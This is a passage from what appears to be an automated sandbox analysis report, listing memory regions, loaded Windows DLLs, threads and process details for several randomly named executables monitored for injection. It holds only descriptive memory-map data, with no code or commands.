0x9d0000 end_va = 0xb50fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000009d0000" filename = "" Region: id = 5541 start_va = 0xb60000 end_va = 0xc1bfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000b60000" filename = "" Region: id = 5542 start_va = 0xd20000 end_va = 0xd2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000d20000" filename = "" Region: id = 5543 start_va = 0xf90000 end_va = 0xfa6fff monitored = 0 entry_point = 0xf914a1 region_type = mapped_file name = "privateperformborn.exe" filename = "\\Program Files\\Windows NT\\privateperformborn.exe" (normalized: "c:\\program files\\windows nt\\privateperformborn.exe") Region: id = 5544 start_va = 0xfb0000 end_va = 0x23affff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000fb0000" filename = "" Region: id = 5545 start_va = 0x65670000 end_va = 0x656e9fff monitored = 0 entry_point = 0x65683290 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 5546 start_va = 0x656f0000 end_va = 0x6573ffff monitored = 0 entry_point = 0x65708180 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 5547 start_va = 0x65740000 end_va = 0x65747fff monitored = 0 entry_point = 0x657417c0 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 5548 start_va = 0x73e00000 end_va = 0x73e1cfff monitored = 0 entry_point = 0x73e03b10 region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\SysWOW64\\dwmapi.dll" (normalized: "c:\\windows\\syswow64\\dwmapi.dll") Region: id = 5549 start_va = 0x73e20000 end_va = 0x73e94fff monitored = 0 entry_point = 0x73e59a60 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\SysWOW64\\uxtheme.dll" (normalized: "c:\\windows\\syswow64\\uxtheme.dll") Region: id = 5550 start_va = 0x73ea0000 end_va = 0x73f31fff monitored = 0 entry_point = 0x73ee0380 region_type = mapped_file name = "apphelp.dll" filename = "\\Windows\\SysWOW64\\apphelp.dll" (normalized: "c:\\windows\\syswow64\\apphelp.dll") Region: id = 5551 start_va = 0x73f40000 end_va = 0x73f49fff monitored = 0 entry_point = 0x73f42a00 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 5552 start_va = 0x73f50000 end_va = 0x73f6dfff monitored = 0 entry_point = 0x73f5b640 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 5553 start_va = 0x74250000 end_va = 0x7439efff monitored = 0 entry_point = 0x74306820 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 5554 start_va = 0x74920000 end_va = 0x74a9dfff monitored = 0 entry_point = 0x749d1b90 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 5555 start_va = 0x74c10000 end_va = 0x74d56fff monitored = 0 entry_point = 0x74c21cf0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 5556 start_va = 0x75420000 end_va = 0x755dcfff monitored = 0 entry_point = 0x75502a10 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\SysWOW64\\combase.dll" (normalized: "c:\\windows\\syswow64\\combase.dll") Region: id = 5557 start_va = 0x755e0000 end_va = 0x75637fff monitored = 0 entry_point = 0x756225c0 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\SysWOW64\\bcryptprimitives.dll" (normalized: "c:\\windows\\syswow64\\bcryptprimitives.dll") Region: id = 5558 start_va = 0x75640000 end_va = 0x756fdfff monitored = 0 entry_point = 0x75675630 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 5559 start_va = 0x757e0000 end_va = 0x7580afff monitored = 0 entry_point = 0x757e5680 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 5560 start_va = 0x75900000 end_va = 0x75943fff monitored = 0 entry_point = 0x75919d80 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 5561 start_va = 0x75ad0000 end_va = 0x75b7cfff monitored = 0 entry_point = 0x75ae4f00 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 5562 start_va = 0x75b80000 end_va = 0x75c9efff monitored = 0 entry_point = 0x75bc5980 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 5563 start_va = 0x770a0000 end_va = 0x7717ffff monitored = 0 entry_point = 0x770b3980 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 5564 start_va = 0x77220000 end_va = 0x7739afff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 5565 start_va = 0x7f440000 end_va = 0x7f53ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007f440000" filename = "" Region: id = 5566 start_va = 0x7f540000 end_va = 0x7f562fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007f540000" filename = "" Region: id = 5567 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 5568 start_va = 0x7fff0000 end_va = 0x7ffff079ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 5569 start_va = 0x7ffff07a0000 end_va = 0x7ffff0960fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 5570 start_va = 0x7ffff0961000 end_va = 0x7ffffffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ffff0961000" filename = "" Region: id = 5571 start_va = 0x880000 end_va = 0x883fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000880000" filename = "" Region: id = 5572 start_va = 0x890000 end_va = 0x890fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000890000" filename = "" Region: id = 5573 start_va = 0x77180000 end_va = 0x7720cfff monitored = 0 entry_point = 0x771c9b90 region_type = mapped_file name = "shcore.dll" filename = "\\Windows\\SysWOW64\\SHCore.dll" (normalized: "c:\\windows\\syswow64\\shcore.dll") Region: id = 5574 start_va = 0x1c0000 end_va = 0x1fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001c0000" filename = "" Region: id = 5575 start_va = 0x530000 end_va = 0x62ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000530000" filename = "" Region: id = 5576 start_va = 0x8a0000 end_va = 0x8a0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000008a0000" filename = "" Region: id = 5577 start_va = 0x75410000 end_va = 0x7541bfff monitored = 0 entry_point = 0x75413930 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\SysWOW64\\kernel.appcore.dll" (normalized: "c:\\windows\\syswow64\\kernel.appcore.dll") Region: id = 5578 start_va = 0x8b0000 end_va = 0x8b0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000008b0000" filename = "" Region: id = 5579 start_va = 0xc20000 end_va = 0xc9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000c20000" filename = "" Region: id = 5580 start_va = 0x23b0000 end_va = 0x26e6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Thread: id = 189 os_tid = 0xe08 Thread: id = 190 os_tid = 0xdfc Thread: id = 390 os_tid = 0xf60 Process: id = "24" image_name = "armalreadyoutside.exe" filename = "c:\\program files\\windows photo viewer\\armalreadyoutside.exe" page_root = "0x754d6000" os_pid = "0xdbc" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "injection" parent_id = "12" os_parent_pid = "0x678" cmd_line = "\"C:\\Program Files\\Windows Photo Viewer\\armalreadyoutside.exe\" " cur_dir = "C:\\Program Files\\Windows Photo Viewer\\" os_username = "XC64ZB\\RDhJ0CNFevzX" bitness = "32" os_groups = "XC64ZB\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000ebd3" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 5813 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 5814 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 5815 start_va = 0x30000 end_va = 0x44fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 5816 start_va = 0x50000 end_va = 0x8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 5817 start_va = 0x90000 end_va = 0x18ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000090000" filename = "" Region: id = 5818 start_va = 0x190000 end_va = 0x193fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000190000" filename = "" Region: id = 5819 start_va = 0x1a0000 end_va = 0x1a0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001a0000" filename = "" Region: id = 5820 start_va = 0x1b0000 end_va = 0x1b1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 5821 start_va = 0x1c0000 end_va = 0x1c0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001c0000" filename = "" Region: id = 5822 start_va = 0x1d0000 end_va = 0x1dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001d0000" filename = "" Region: id = 5823 start_va = 0x200000 end_va = 0x3fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000200000" filename = "" Region: id = 5824 start_va = 0x400000 end_va = 0x4bdfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 5825 start_va = 0x600000 end_va = 0x787fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000600000" filename = "" Region: id = 5826 start_va = 0x810000 end_va = 0x813fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000810000" filename = "" Region: id = 5827 start_va = 0x820000 end_va = 0x8dbfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000820000" filename = "" Region: id = 5828 start_va = 0x8e0000 end_va = 0x8e3fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000008e0000" filename = "" Region: id = 5829 start_va = 0x910000 end_va = 0x91ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000910000" filename = "" Region: id = 5830 start_va = 0x9a0000 end_va = 0xa9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000009a0000" filename = "" Region: id = 5831 start_va = 0xaa0000 end_va = 0xc20fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000aa0000" filename = "" Region: id = 5832 start_va = 0xdf0000 end_va = 0xdfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000df0000" filename = "" Region: id = 5833 start_va = 0xef0000 end_va = 0xf06fff monitored = 0 entry_point = 0xef14a1 region_type = mapped_file name = "armalreadyoutside.exe" filename = "\\Program Files\\Windows Photo Viewer\\armalreadyoutside.exe" (normalized: "c:\\program files\\windows photo viewer\\armalreadyoutside.exe") Region: id = 5834 start_va = 0xf10000 end_va = 0x230ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000f10000" filename = "" Region: id = 5835 start_va = 0x65670000 end_va = 0x656e9fff monitored = 0 entry_point = 0x65683290 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 5836 start_va = 0x656f0000 end_va = 0x6573ffff monitored = 0 entry_point = 0x65708180 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 5837 start_va = 0x65740000 end_va = 0x65747fff monitored = 0 entry_point = 0x657417c0 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 5838 start_va = 0x73e00000 end_va = 0x73e1cfff monitored = 0 entry_point = 0x73e03b10 region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\SysWOW64\\dwmapi.dll" (normalized: "c:\\windows\\syswow64\\dwmapi.dll") Region: id = 5839 start_va = 0x73e20000 end_va = 0x73e94fff monitored = 0 entry_point = 0x73e59a60 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\SysWOW64\\uxtheme.dll" (normalized: "c:\\windows\\syswow64\\uxtheme.dll") Region: id = 5840 start_va = 0x73ea0000 end_va = 0x73f31fff monitored = 0 entry_point = 0x73ee0380 region_type = mapped_file name = "apphelp.dll" filename = "\\Windows\\SysWOW64\\apphelp.dll" (normalized: "c:\\windows\\syswow64\\apphelp.dll") Region: id = 5841 start_va = 0x73f40000 end_va = 0x73f49fff monitored = 0 entry_point = 0x73f42a00 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 5842 start_va = 0x73f50000 end_va = 0x73f6dfff monitored = 0 entry_point = 0x73f5b640 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 5843 start_va = 0x74250000 end_va = 0x7439efff monitored = 0 entry_point = 0x74306820 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 5844 start_va = 0x74920000 end_va = 0x74a9dfff monitored = 0 entry_point = 0x749d1b90 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 5845 start_va = 0x74c10000 end_va = 0x74d56fff monitored = 0 entry_point = 0x74c21cf0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 5846 start_va = 0x75420000 end_va = 0x755dcfff monitored = 0 entry_point = 0x75502a10 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\SysWOW64\\combase.dll" (normalized: "c:\\windows\\syswow64\\combase.dll") Region: id = 5847 start_va = 0x755e0000 end_va = 0x75637fff monitored = 0 entry_point = 0x756225c0 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\SysWOW64\\bcryptprimitives.dll" (normalized: "c:\\windows\\syswow64\\bcryptprimitives.dll") Region: id = 5848 start_va = 0x75640000 end_va = 0x756fdfff monitored = 0 entry_point = 0x75675630 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 5849 start_va = 0x757e0000 end_va = 0x7580afff monitored = 0 entry_point = 0x757e5680 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 5850 start_va = 0x75900000 end_va = 0x75943fff monitored = 0 entry_point = 0x75919d80 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 5851 start_va = 0x75ad0000 end_va = 0x75b7cfff monitored = 0 entry_point = 0x75ae4f00 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 5852 start_va = 0x75b80000 end_va = 0x75c9efff monitored = 0 entry_point = 0x75bc5980 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 5853 start_va = 0x770a0000 end_va = 0x7717ffff monitored = 0 entry_point = 0x770b3980 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 5854 start_va = 0x77220000 end_va = 0x7739afff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 5855 start_va = 0x7f830000 end_va = 0x7f92ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007f830000" filename = "" Region: id = 5856 start_va = 0x7f930000 end_va = 0x7f952fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007f930000" filename = "" Region: id = 5857 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 5858 start_va = 0x7fff0000 end_va = 0x7ffff079ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 5859 start_va = 0x7ffff07a0000 end_va = 0x7ffff0960fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 5860 start_va = 0x7ffff0961000 end_va = 0x7ffffffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ffff0961000" filename = "" Region: id = 5861 start_va = 0x8f0000 end_va = 0x8f3fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008f0000" filename = "" Region: id = 5862 start_va = 0x900000 end_va = 0x900fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000900000" filename = "" Region: id = 5863 start_va = 0x77180000 end_va = 0x7720cfff monitored = 0 entry_point = 0x771c9b90 region_type = mapped_file name = "shcore.dll" filename = "\\Windows\\SysWOW64\\SHCore.dll" (normalized: "c:\\windows\\syswow64\\shcore.dll") Region: id = 5864 start_va = 0x4c0000 end_va = 0x4fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004c0000" filename = "" Region: id = 5865 start_va = 0x500000 end_va = 0x5fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000500000" filename = "" Region: id = 5866 start_va = 0x920000 end_va = 0x920fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000920000" filename = "" Region: id = 5867 start_va = 0x75410000 end_va = 0x7541bfff monitored = 0 entry_point = 0x75413930 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\SysWOW64\\kernel.appcore.dll" (normalized: "c:\\windows\\syswow64\\kernel.appcore.dll") Region: id = 5868 start_va = 0x930000 end_va = 0x930fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000930000" filename = "" Region: id = 5869 start_va = 0xc30000 end_va = 0xcaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000c30000" filename = "" Region: id = 5870 start_va = 0x2310000 end_va = 0x2646fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Thread: id = 191 os_tid = 0xdcc Thread: id = 192 os_tid = 0xdc0 Thread: id = 395 os_tid = 0xd34 Process: id = "25" image_name = "particular-crime.exe" filename = "c:\\program files (x86)\\common files\\particular-crime.exe" page_root = "0x381e7000" os_pid = "0xdc4" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "injection" parent_id = "12" os_parent_pid = "0x678" cmd_line = "\"C:\\Program Files (x86)\\Common Files\\particular-crime.exe\" " cur_dir = "C:\\Program Files (x86)\\Common Files\\" os_username = "XC64ZB\\RDhJ0CNFevzX" bitness = "32" os_groups = "XC64ZB\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000ebd3" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 5697 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 5698 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 5699 start_va = 0x30000 end_va = 0x44fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 5700 start_va = 0x50000 end_va = 0x8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 5701 start_va = 0x90000 end_va = 0x18ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000090000" filename = "" Region: id = 5702 start_va = 0x190000 end_va = 0x193fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000190000" filename = "" Region: id = 5703 start_va = 0x1a0000 end_va = 0x1a0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001a0000" filename = "" Region: id = 5704 start_va = 0x1b0000 end_va = 0x1b1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 5705 start_va = 0x1c0000 end_va = 0x27dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 5706 start_va = 0x2c0000 end_va = 0x2d6fff monitored = 0 entry_point = 0x2c14a1 region_type = mapped_file name = "particular-crime.exe" filename = "\\Program Files (x86)\\Common Files\\particular-crime.exe" (normalized: "c:\\program files (x86)\\common files\\particular-crime.exe") Region: id = 5707 start_va = 0x3e0000 end_va = 0x3e0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003e0000" filename = "" Region: id = 5708 start_va = 0x400000 end_va = 0x5fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000400000" filename = "" Region: id = 5709 start_va = 0x600000 end_va = 0x603fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000600000" filename = "" Region: id = 5710 start_va = 0x610000 end_va = 0x6cbfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000610000" filename = "" Region: id = 5711 start_va = 0x6d0000 end_va = 0x6d3fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 5712 start_va = 0x700000 end_va = 0x70ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000700000" filename = "" Region: id = 5713 start_va = 0x790000 end_va = 0x79ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000790000" filename = "" Region: id = 5714 start_va = 0x900000 end_va = 0x9fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000900000" filename = "" Region: id = 5715 start_va = 0xa00000 end_va = 0xb87fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a00000" filename = "" Region: id = 5716 start_va = 0xb90000 end_va = 0xd10fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000b90000" filename = "" Region: id = 5717 start_va = 0xd20000 end_va = 0x211ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d20000" filename = "" Region: id = 5718 start_va = 0x2300000 end_va = 0x230ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002300000" filename = "" Region: id = 5719 start_va = 0x65670000 end_va = 0x656e9fff monitored = 0 entry_point = 0x65683290 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 5720 start_va = 0x656f0000 end_va = 0x6573ffff monitored = 0 entry_point = 0x65708180 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 5721 start_va = 0x65740000 end_va = 0x65747fff monitored = 0 entry_point = 0x657417c0 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 5722 start_va = 0x73e00000 end_va = 0x73e1cfff monitored = 0 entry_point = 0x73e03b10 region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\SysWOW64\\dwmapi.dll" (normalized: "c:\\windows\\syswow64\\dwmapi.dll") Region: id = 5723 start_va = 0x73e20000 end_va = 0x73e94fff monitored = 0 entry_point = 0x73e59a60 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\SysWOW64\\uxtheme.dll" (normalized: "c:\\windows\\syswow64\\uxtheme.dll") Region: id = 5724 start_va = 0x73ea0000 end_va = 0x73f31fff monitored = 0 entry_point = 0x73ee0380 region_type = mapped_file name = "apphelp.dll" filename = "\\Windows\\SysWOW64\\apphelp.dll" (normalized: "c:\\windows\\syswow64\\apphelp.dll") Region: id = 5725 start_va = 0x73f40000 end_va = 0x73f49fff monitored = 0 entry_point = 0x73f42a00 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 5726 start_va = 0x73f50000 end_va = 0x73f6dfff monitored = 0 entry_point = 0x73f5b640 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 5727 start_va = 0x74250000 end_va = 0x7439efff monitored = 0 entry_point = 0x74306820 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 5728 start_va = 0x74920000 end_va = 0x74a9dfff monitored = 0 entry_point = 0x749d1b90 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 5729 start_va = 0x74c10000 end_va = 0x74d56fff monitored = 0 entry_point = 0x74c21cf0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 5730 start_va = 0x75420000 end_va = 0x755dcfff monitored = 0 entry_point = 0x75502a10 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\SysWOW64\\combase.dll" (normalized: "c:\\windows\\syswow64\\combase.dll") Region: id = 5731 start_va = 0x755e0000 end_va = 0x75637fff monitored = 0 entry_point = 0x756225c0 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\SysWOW64\\bcryptprimitives.dll" (normalized: "c:\\windows\\syswow64\\bcryptprimitives.dll") Region: id = 5732 start_va = 0x75640000 end_va = 0x756fdfff monitored = 0 entry_point = 0x75675630 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: 